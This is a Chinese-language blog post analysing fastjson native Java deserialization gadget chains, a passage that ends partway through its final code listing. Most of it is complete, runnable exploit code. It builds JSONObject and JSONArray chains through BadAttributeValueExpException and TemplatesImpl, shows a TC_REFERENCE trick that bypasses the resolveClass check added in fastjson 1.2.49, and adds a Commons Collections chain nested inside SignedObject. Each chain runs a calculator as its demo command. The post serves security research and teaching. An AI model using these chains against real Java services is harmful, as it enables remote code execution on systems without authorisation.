fastjson反序列化调用链分析

fastjson反序列化调用链分析

前面学了fastjson反序列化,从json字符串的反序列化来进行payload构造,这里来了解一下fastjson原生反序列化,也就是比较常打的反序列化调用链。

Fastjson<=1.2.48&2

这里以1.2.48版本为例进行构造,在fastjson1版本下的>=1.2.49需要有一定的绕过方法,这个后面会讲。

这里可以利用的类是JSONObject以及JSONArray类,存在利用点的是这两个类的toString()方法,这两个类本身没有实现toString()方法,但是这两个类的父类都是JSON类,JSON实现的toString()方法如下:

image-20250415134748776

这个toString()方法调用了toJSONString()方法,这个方法也比较熟悉了,就是JSON序列化调用的方法,可以调用到对应类的getter方法,现在的思路就是序列化JSONObject或者JSONArray类,那么这里的具体过程是什么呢,个人简单从代码层面跟进了一下原理(可能有误):

JSONObejct链

跟进toJSONString()方法: image-20250415143254664

会调用JSONSerializer类的write()方法,注意参数的传递,也就是这里的this代表我们想要利用的JSONObject类,值得一提的是JSONSerializer类的config变量,后面会用:

image-20250415143509526

getGlobalInstance()方法返回的其实就是SerializeConfig类实例,自己跟一下就知道了。

然后跟进JSONSerializer类的write()方法: image-20250415145111243

这里会调用getObjectWriter()方法,然后会调用SerializeConfig类的getObjectWriter()方法:

image-20250415145141983

如下:

image-20250415145318761

注意参数传递,那么这里的clazz就是JSONObject的Class对象,现在注意点放在serializers变量中,搜索发现是在SerializeConfig属实话方法中有定义,构造方法中定义initSerializers()方法用于初始化这个变量,里面放入了一些键值对:

image-20250415150119025

但是并没有JSONObject.class这种类型的,继续看getObjectWriter()方法,后续可以看到一个定义:

image-20250415150356252

这里的isAssignableFrom()方法就是判断clazz是否实现Map接口,而JSONObject确实是实现了这个接口,所以这里会放入一个JSONObject:MapSerializer类实例的键值对,并且会在后面取值然后返回:

image-20250415150708946

回到JSONSerializer类的write()方法,然后会调用MapSerializer类的write()方法,先是获取到JSONObject类的map变量: image-20250415151446542

然后for循环对map中的键值对进行处理,关注到这个方法中对value的处理如下: image-20250415151021184

一次完整的序列化过程,所以这里是可以调用到getter方法,那么就可以尝试打TemplatesImpl类的getOutputProperties()方法了,调用toString()方法的话就还是使用CC5的即可,所以可以构造POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package org.example;

import javax.management.BadAttributeValueExpException;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc",templates);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, jsonObject);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

运行后成功弹出计算机。再次调试,过程与分析的基本相同,有一点有错,获取JSONObject的map并没有按照预期:

image-20250415153538796

而是直接在for循环那里调用对应方法返回的值:

image-20250415153717977

JSONObject类的entrySet()方法:

image-20250415153701564

其他的就差不多了。

JSONArray链

这个其实也是和前面JSONObject过程是差不多的,只是JSONArray类实现的是List.class,对应的获取到的writer就是ListSerializer类实例:

image-20250415155006990

也就是会调用ListSerializer类的writer()方法,这个writer方法同样是调用了for循环来进行获取值并序列化的操作,大体过程如下:

赋值:

image-20250415155321933

for循环取值: image-20250415155423135

这里会调用到JSONArray类的get()方法:

image-20250415155511210

也就是获取相对应存储值的操作,然后有进行序列化的操作:

image-20250415155601606

具体是哪个还不知道,现在同样可以尝试构造如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;

import javax.management.BadAttributeValueExpException;

import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, jsonArray);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

运行后弹出计算机,调试过后过程基本相同,最后序列化相关变量的地方在:

image-20250415162917548

————

需要注意的是,上面两条链子也能打fastjson2版本,在maven仓库上看目前最新的fastjson版本为2.0.57,经测试fastjson2版本<=2.0.26能打,从2.0.27开始被修复了,依赖如下:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>2.0.26</version>
</dependency>

测试改一下版本即可。

fastjson>=1.2.49

这部分的绕过分析具体可看y4师傅的文章,非常清楚了,简单记录一下。

注意改依赖版本,依赖如下:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.49</version>
</dependency>

在fastjson1中,从1.2.49版本开始相比fastjson1<=1.2.48版本的利用类有了改变,就JSONObject和JSONArray类来说,在这个版本过后都添加了自带的readObject()方法,也就是在反序列化时会调用的方法。

JSONArray类的readObject()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        JSONObject.SecureObjectInputStream.ensureFields();
        if (JSONObject.SecureObjectInputStream.fields != null && !JSONObject.SecureObjectInputStream.fields_error) {
            ObjectInputStream secIn = new JSONObject.SecureObjectInputStream(in);
            secIn.defaultReadObject();
            return;
        }

        in.defaultReadObject();
        for (Object item : list) {
            if (item != null) {
                ParserConfig.global.checkAutoType(item.getClass().getName(), null);
            }
        }
    }

JSONObject类的readObject()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        SecureObjectInputStream.ensureFields();
        if (SecureObjectInputStream.fields != null && !SecureObjectInputStream.fields_error) {
            ObjectInputStream secIn = new SecureObjectInputStream(in);
            secIn.defaultReadObject();
            return;
        }

        in.defaultReadObject();
        for (Entry entry : map.entrySet()) {
            final Object key = entry.getKey();
            if (key != null) {
                ParserConfig.global.checkAutoType(key.getClass().getName(), null);
            }

            final Object value = entry.getValue();
            if (value != null) {
                ParserConfig.global.checkAutoType(value.getClass().getName(), null);
            }
        }
    }

从这两个readObject()方法中,可以看出来在反序列化时都会委托给SecureObjectInputStream类进行处理,这个类重写了resolveClass()方法:

image-20250415210719162

这里就是调用了checkAutoType()方法来进行对反序列化类的检测,这个checkAutoType()方法我们已经很熟悉了,并且这里fastjson的版本是1.2.49,但是同样是可以绕过的,这里的反序列化过程可以看成如下:

1
ObjectInputStream -> readObject... -> SecureObjectInputStream -> readObject -> resolveClass

在前面的分析中,我们可以知道主要的检测逻辑就是在resolveClass()方法,但是我们需要知道的是,在反序列化时,不是所有的反序列化时都会调用resolveClass()方法,所以这里存在一个绕过方法,可以寻找什么情况下不会调用resolveClass()方法,从而可以绕过这个检测。

java.io.ObjectInputStream#readObject0的调用中,会根据读到的bytes中tc的数据类型做不同的处理来进行对象的反序:

image-20250415213930675

部分如上,这里我们要利用到的就是图中标注出来的TC_REFERENCE类型的处理,从名称也可以看出来这里就是要处理引用类型的数据,对于resolveClass()方法的调用过程,以如下代码简单调试一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example;

import java.io.*;

public class AppTest
{
    public static void main(String[] args) throws IOException, ClassNotFoundException{
        Test123 test = new Test123("fupanc");

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(test);
        oos.close();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new MyTestInputStream(bais);
        Test123 a = (Test123)ois.readObject();
        System.out.println(a.getName());
    }
}

class MyTestInputStream extends ObjectInputStream{

    public MyTestInputStream(InputStream in) throws IOException {
        super(in);
    }
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        System.out.println("just a Test");
        return super.resolveClass(desc);
    }
}

class Test123 implements Serializable {
    public String name;
    private static final long serialVersionUID = 1L;
    public Test123(String name){
        this.name=name;
    }
    public String getName(){
        return name;
    }
}

这里我是自己重写了一个resolveClass()方法,运行后输出如下:

1
2
just a Test
fupanc

可以看到是成功调用了resolveClass()方法,对于这里的反序列化,是直接反序列化的一个实例化对象,也是我们平时比较常用的点,打断点于readObject()方法,然后开始调试:

image-20250415223149295

跟进这里的readObject0()方法,然后到switch部分,会匹配到TC_OBJECT类型:

image-20250415223252952

跟进这里的readOrdinaryObject()方法:

image-20250415223415537

其实我们一般反序列化对象的实例化的点就是下面标注出来的,并且如果实例化成功最后返回的也是这个obj。这里我们是在找resolveClass()方法调用部分,继续跟进readClassDesc()方法;

image-20250415223700403

可以看到是对byte取了下一个数据类型,如果是TC_CLASSDESC类型的话,就会再次调用readNonProxyDesc()方法,这个方法内部就会有resolveClass()方法的调用:

image-20250415223907548

由于对象的关系,这里就会调用到我自定义的resolveClass()方法:

image-20250415224059760

由此形成了一个闭环,我这里只是简单分析了一下流程。可以简单总结一下前面的流程,比较关键的点就是:

readClassDesc()方法=》如果下一个数据类型是TC_CLASSDESC就会调用到readNonProxyDesc()方法=》resolveClass()方法

然后看前面的readObject0()方法的不同数据类型对应调用的不同方法,大部分类型所需要的方法都是会readClassDesc()方法的,所以也是会有一定概率会调用到resolveClass()方法的,所以这里是需要找一个不会调用readClassDesc()方法方法的数据类型,这里有几个,但是有用的就是TC_REFERENCE类型,这个类型对应的readHandle()方法是通过映射来获取对象的:

image-20250415225434284

犹记得前面的TC_OBJECT类型是先调用的readClassDesc进行反序列化类的检查,然后才是调用的newInstance()方法进行的实例化,所以这里的引用是非常好用来绕过的。

所以现在的思路就是在JSONObject/JSONArray反序列化时,进行检测时,不会调用resolveClass()方法,从而可以来绕过,如何建立从对象到引用的映射,利用方法就是向List、set、map类型中添加同样对象就可以成功利用。

从List类型构造一个例子来调试理解:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.example;

import java.io.*;
import java.util.ArrayList;
import java.util.HashMap;

public class AppTest
{
    public static void main(String[] args) throws IOException, ClassNotFoundException{
        Test123 test = new Test123("fupanc");
        ArrayList list = new ArrayList();
        list.add(test);

        HashMap map = new HashMap();
        map.put("fupanc", test);
        list.add(map);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(list);
        oos.close();
    }
}

class Test123 implements Serializable {
    public String name;
    private static final long serialVersionUID = 1L;
    public Test123(String name){
        this.name=name;
    }
    public String getName(){
        return name;
    }
}

在ArrayList的writeObject打一个断点,使用for循环来进行分别处理:

image-20250415234528841

重点看第二次,在上图中的writeObject()方法后会调用writeObject0()方法进行处理,我这里本地测试是使用的HashMap来实现一个对象存有另外一个对象的情况,模拟的JSONArray的存储,需要注意注意的是,Hashmap自己有实现writeObject()方法:

image-20250416104353853

这里的internalWriteEntries()方法值得关注,会进行如下的调用:

image-20250416104458813

同样是遍历HashMap中的键值对,然后调用writeObject()对key和value都进行了序列化处理。

回到ArrayList类的序列化处理方法,说明一下关键点:

注意理解序列化的过程,会调用到HashMap类的writeObject(),也是前面提过的:

image-20250416105408120

这里我发现一个东西,似乎这里对于一个值的存储,如果前后放入有相同的类型的值,都会使用引用来进行映射,我上面的测试代码中,是放入了两个String.class类型的"fupanc"类型的变量,发现这里还是会写成引用类型:

image-20250416105724469

因为都是String类型?所以会用引用Test123中的name?并且我讲放入的键值对改成"123":Test13,这样就只会在Test123这里标注为引用类型,稍底层了,不是很理解,对于Test123类实例,就是按照前面的预期写成引用类型:

image-20250416110102210

writeHandle()方法:

image-20250416110121761所以这里就可以尝试如下构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;

import javax.management.BadAttributeValueExpException;

import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, jsonArray);

        ArrayList list = new ArrayList();
        list.add(templates);
        list.add(bad);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(list);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

运行后成功弹出计算机。

总结来说这里的过程就是第一次成功反序列化TemplatesImpl类,然后第二次反序列化BadAttributeValueExpException类时,当调用到JSONArray的readObject()时,当反序列化JSONArray中的TemplatesImpl类时,此时的TemplatesImpl类是一个引用类型,不会调用resolveClass()方法,从而成功绕过。

JSONObject同样的道理:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;

import javax.management.BadAttributeValueExpException;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc",templates);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, jsonObject);

        ArrayList list = new ArrayList();
        list.add(templates);
        list.add(bad);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(list);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

那么对于map类型,这里就直接使用Hashmap即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;

import javax.management.BadAttributeValueExpException;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("fupanc",templates);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, jsonObject);

        HashMap hashMap = new HashMap();
        hashMap.put(templates,bad);
        
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

具体过程其实前面也说了,在序列化时会分别对key和value进行writeObject()处理:

image-20250416111618611

所以我这里的处理方式是:

1
2
HashMap hashMap = new HashMap();
hashMap.put(templates,bad);

第一次放入一个TemplatesImpl类实例,然后第二次放入的bad的TemplatesImpl类就是应用类型,可以绕过。

JSONArray也一样:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;

import javax.management.BadAttributeValueExpException;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;

public class Main{
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field field = bad.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(bad, jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates,bad);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

set类型的:

使用HashSet,但是有点问题,似乎当放入后会自己再进行排序,导致不会是第二次调用writeObject()时是JSONArray类,发现无论什么先后放入顺序,最后都是JSONArray为0,TemplatesImpl为1,导致不能在想利用的地方形成引用类型。

既然都是调用getter方法了,那么是肯定可以打二次反序列化的,以一个二次反序列化CC6为例:

1.2.48版本直接打:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.security.Signature;
import java.security.SignedObject;
import java.security.KeyPairGenerator;
import java.security.KeyPair;
import com.alibaba.fastjson.JSONArray;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);
        HashMap haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");
        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(signedObject);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        setFieldValue(bad,"val",jsonArray);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

高版本的禁了这个二次反序列化类:

1
autoType is not support. java.security.SignedObject

同样绕一下即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.example;

import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.security.Signature;
import java.security.SignedObject;
import java.security.KeyPairGenerator;
import java.security.KeyPair;
import com.alibaba.fastjson.JSONArray;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);
        HashMap haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");
        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));

